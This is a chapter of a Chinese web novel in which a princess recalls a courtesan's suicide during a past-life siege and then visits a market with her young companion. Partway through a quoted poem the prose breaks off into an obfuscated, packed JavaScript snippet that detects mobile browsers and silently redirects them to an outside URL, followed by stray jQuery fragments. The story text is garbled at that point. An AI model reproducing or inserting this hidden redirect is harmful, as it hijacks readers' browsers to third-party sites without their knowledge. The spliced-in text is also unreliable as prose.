槐青去铁匠铺打探消息的几日，沈千灯也没有闲着。
启国昭宁长公主驾到四方城在坊间已经传开，有人暗中引导，猜测长公主就是前些日子在八珍楼听戏出手阔绰的神秘人，又有人证实看到了崔家班的人出入东城四所，更是加深了传闻的可信度。
长公主豢养男宠这样的风流韵事坊间最是津津乐道。而且据南宫商行见过长公主真容的掌事描述，长公主本人可是天上有地下无的大美人，发起怒来也是柳眉倒竖，凤眼圆睁，粉面生寒。
“难怪这些日子都没见崔家班登台了，原来是唱到公主心坎里去了。”
“这崔枝不最是自命清高了吗，怎么也肯放下身段伺候公主？”
“人家公主随随便便的赏赐就是旁人的一辈子，要是你，你去不去？”
对面的人觉得此言有理，频频点头。
“唉，可不是，我听八珍楼的小二说，是长公主亲自把人请过去的。”那人特地咬重了“请”字。
“怎么崔枝这样命好，泼天的富贵，公主偏偏就看上了他，连带着整个崔家班飞上枝头变凤凰了。”这人语气带酸，说不出的羡艳。
另一人语气却不屑，“你可别不服气，照照镜子，再去东城大街上瞧瞧就知道了。”
事实证明四方城能在短短十几年发展的如此欣欣向荣，与迁来四方城的人颇有致富头脑脱不开干系，而繁华的地方往往民风也奔放。
东城大街这几日都熙攘了许多，小有姿色的人都盼着能跟长公主自荐，抓住千载难逢的商机，推销自己。
不止有油头粉面的男子，也有妙龄的女子。
男子为得长公主青睐，女子则心思各异，有姑娘来记下以后万万不能嫁的郎君，有富商的女儿趁机来招赘婿，也有青楼的艺伎。
沈千灯这几日都不敢出府，怕一踏出门槛就被生吞活剥了。
四方城的风水招财，确实是有点说法。
可今日，沈千灯答应了穆成盈陪她去锦罗绣坊取衣裳，她不得不硬着头皮出门。
郑典史带人为沈千灯的车舆开路。
路人一看更是不得了，长公主出行都有如此排面，不知公主府上的生活要何等豪奢。
好不容易才到了东城的锦罗绣坊。
“姐姐可算来了。”穆成盈迎上来握住沈千灯的手，看到沈千灯右手上的细布还没有拆，关心道：“姐姐的手还没好？”
穆成盈又拉起沈千灯的左手，手心是一道贯穿的细长的疤痕。
“已经好多了，世子给我送了上好的金创药。”
“算他还有点用。”提起穆承锋，穆成盈就满眼不屑。
这几日穆成盈在府上可是闷坏了，因为要试衣裳才得允许出府，这就约了沈千灯出来。
穆成盈刚换了一件藕荷色的新衣出来，在沈千灯面前转了个圈，“姐姐瞧瞧如何，好不好看？”
藕荷色的广袖裙配上黛蓝的刺绣，非常舒适的搭配。
沈千灯抚上穆成盈袖口的纹样，“好看，正衬你。”又顺着衣裳的衣领肩膀摸了一圈，“也合身。”
“那就好。”穆成盈搂着沈千灯的胳膊笑靥如花。
昭宁姐姐人美，眼光自然也顶顶好，她说好看，那就不是一般的好看。
“其余的衣服就送到四方使府上，常画，给掌柜的赏。”穆成盈吩咐道。
一大锭银子递到了掌柜的手上，掌柜顿时喜笑颜开。“多谢县主。”
“姐姐，你可要选料子在这裁几件衣裳？”
“不了，我还不想裁新衣，府上也有绣娘。”沈千灯前世受尽绫罗绸缎的折磨，眼下一看到时新的料子就头痛。
“也是。启国苏绣针法细腻，名满天下，姐姐的用度自然是极好。”
“成国的蜀绣也一样是栩栩如生，各有所爱罢了。”
沈千灯抬头，余光却看见门外走过一个熟悉的面孔，待她追出去，已经消失不见。
天水碧，蝉知雪。
只此一眼，沈千灯绝对没有认错，她清楚地看到了那个姑娘头上金蝉玉叶的钗子。
是兖州花魁，应蝉。
前世兖州被围时，独独这一位红极一时的风尘女子也褪下钗环随她站到前线，应蝉不会武，向来只抚琴斟酒摇纨扇的柔荑也做起了粗活，在伙房打下手，在菜市口施粥。起初有人看不起她的出身，往她身上扔烂菜叶子，不过很快就没有人这么做了，不是因为人们对应蝉改观，而是城中粮草告急，也没有所谓多余的烂菜叶了。
这样一个白菜扔在头上也作翡翠玉簪的美人，最后竟看破了沈千灯的想法。
应蝉特意来城楼送沈千灯一程。
本就清瘦的姑娘比沈千灯第一次见到她的时候又清减了许多，她也没有休息好，素面朝天，眼下乌青，面容憔悴。唯独与她一身粗衣布裙格格不入的是她头上一支名贵的金蝉玉叶钗。
这是兖州知府的大公子何修齐赠给她的，两人心意相通却无奈身份悬殊，何修齐去了成安要挣得一份功名另立府邸取她为妻，在他心中，应蝉胜过名门闺秀，应蝉就是金枝玉叶。
如今成国内乱，何修齐也许久没有消息传回来，生死未卜。
应蝉带了一小坛酒来，给自己和沈千灯各倒一碗。
“这是我先前藏的，我们偷偷喝，可莫让何二公子知道。”应蝉笑着说。
应蝉很白，倒酒时，应蝉露出的皓腕有一圈扎眼的红痕，这种时候，还有人想着占她的便宜。先前有不少人动过一亲芳泽的心思，但都顾忌着何修齐的身份，如今兵荒马乱，歹人更是无法无天。
沈千灯捉住应蝉的手，面色瞬间楞了下来，盯着她的眼睛问：“谁？为什么不告诉我？”
应蝉使劲将手腕抽了回来，风轻云淡地说：“没有谁了。被我杀了。”
应蝉拿酒碗碰了一下沈千灯的，别过头自顾自喝了一口，沈千灯看不到的那一面，应蝉一大颗眼泪掉进酒碗。
“我用簪子捅进他的脖子里，好多血。”应蝉不愿再回想，将一碗酒一饮而尽。
“对不起，是我没有照顾好你，让你受委屈了。”沈千灯很自责。
应蝉摇摇头，“王妃守着兖州城百姓，已是千难万难，无需苛责自己——兖州城已经是强弩之末了吗？”
沈千灯咽下一大口酒，辣得呛到了喉咙，她不知道方才应蝉是如何气急才一口气喝下一整碗。
“咳咳……你不用担心，只需再撑几日，启国的援军一定会来。”
应蝉远眺着城外，不语却笑，往日花魁的千金一笑并没有被硝烟磨灭。她又给二人满上了酒，酒洒在城墙的石砖上许多，但印记又很快被烈阳吞噬。
漆碗对碰，又浮一大白。
“王妃是打算用自己的性命坚守最后一程吗？”应蝉打破沉寂开口问。
城中已经军心不稳，应蝉想不到还有让摇摇欲坠的孤城再凝成铜墙铁壁的理由。
无需沈千灯的回答，应蝉双手端起碗面向沈千灯，郑重地说：“王妃是兖州新妇，我却是生于斯长于斯的兖州女，应蝉代兖州军民，敬王妃。王妃千古，青史若不留名，也会刻进兖州土地，生生不息。”
人生难得遇知己，沈千灯被风沙迷出了泪眼，端起酒，“多谢。”
酒入愁肠，生出悲怆。
沈千灯目送应蝉离开时单薄的背影，风扬起应蝉明黄色的发带，这是她最喜欢的颜色，一瓣瓣像寒风中的菊，孤丛霜色，金粟晓清。
她忽而忆起前朝刘梦得的几句诗，昔看黄I菊与君别，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268777|182206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今听玄蝉我却回……天地肃清堪四望，为君扶病上高台。①
半个时辰后，何修明来了，他一脸沉重地带来了应蝉自缢的消息。
盛服红妆，金枝玉叶，死于初春，蝉应知雪。
沈千灯缓缓闭上眼，眼眸止不住地颤抖，指甲深深掐进手心，应蝉骗了她。
她严查了应蝉前些日子的行踪，欺辱应蝉之人，即刻问斩，千刀万剐难解她心头之恨。
应蝉带来的酒，是女儿红。
沈千灯替应蝉入殓时很难过，她亲手替应蝉整理了遗容，应蝉来找她饮酒时说得那些话，她就该发觉不对劲。
生于斯长于斯的下一句是死于斯。
何修明做主，叫了一声“嫂子”，让应蝉的牌位入了何家祠堂，何修齐之妻，何门应氏。
此刻也无人反对了，因为兖州知府何家嫡系，只次子何修明一人留此坚守。
沈千灯在心中默念了一句，应蝉，来生幸福，若有缘再见，我定护你周全。
“姐姐在什么呢？”发现沈千灯不见，穆成盈也跟了出来。
“方才看到一位带着精巧面人的面塑师傅，追出来却不见了。”沈千灯随口编了个理由。
应蝉从没离开过兖州，怎么会出现在四方城？
莫非是因为何修齐？
穆成盈四处张望一番，确实没有面塑师傅的踪影。
“姐姐喜欢面人，不如去八珍楼吧，那附近奇人巧匠皆有，正好可以在那里用午膳。”
沈千灯万万不敢再坐自己的车驾，早早让马夫赶了马车回去，搭穆成盈的车舆到了八珍楼。
八珍楼周围的摊贩果然是有不少奇人巧匠，面塑、糖画、木工……应有尽有。
“我先前还不曾注意过这里。”
“姐姐第一次来四方城，不熟悉也是常事，姐姐想要捏个什么？”穆成盈把沈千灯拉到面塑摊前。
面塑摊上有活灵活现的弥勒佛像、关公驭马，甚至还有点翠绒花的唱曲小人。
“这是？”沈千灯指着小人问。
面塑老翁笑呵呵地答道：“是最红的崔家班班主，小姐可听过崔班主的戏？爱听崔班主《菱州梦》的都会带一个崔班主的面人。”
居然是崔枝！
时人对他的追捧居然已经狂热到了这种地步。
“老伯手艺可真好，给我捏一个吧。”
沈千灯笑笑，拉开帷帽将轻纱卷起漏出清丽的面容。
老翁哎呦一声，左手捏起面团，右手拿起拨子，“小姐可真是生得花容月貌，老朽也不知能捏出几分神韵。”
“崔班主的面人都做得如此惟妙惟肖，老伯过谦了。”
接下来是捏、滚、雕、压一系列行云流水的操作。
“姐姐，我去看看那边打得络子。”穆成盈被另一边的手艺摊子吸引了注意。
“好。”
老伯的动作很快，不多时就捏出了个轮廓。
“抓小偷啊抓小偷——”
穆成盈捏着新买的络子正准备回去给沈千灯看，闻声停步，被迎面袭来的黑影猛冲倒向路中。
眼瞧着就要撞上前面的马车，躲闪不及，穆成盈已经认命闭上双眼。
没想到却被一个青衣男子眼疾手快拽了回来，在他的臂弯里，帷帽迎风被吹开，穆成盈瞪大眼睛看着眼前人。
“贺二哥哥？”
这人松开穆成盈向她揖礼，“让县主受惊了。”
“无事，多谢贺二哥哥。”穆成盈也回礼向他露出一个笑容。
待马车过路，沈千灯才得以跑来，“县主没事吧？”
穆成盈摇头。
“见过昭宁长公主殿下。”
沈千灯端详着他的面容，“贺公子？”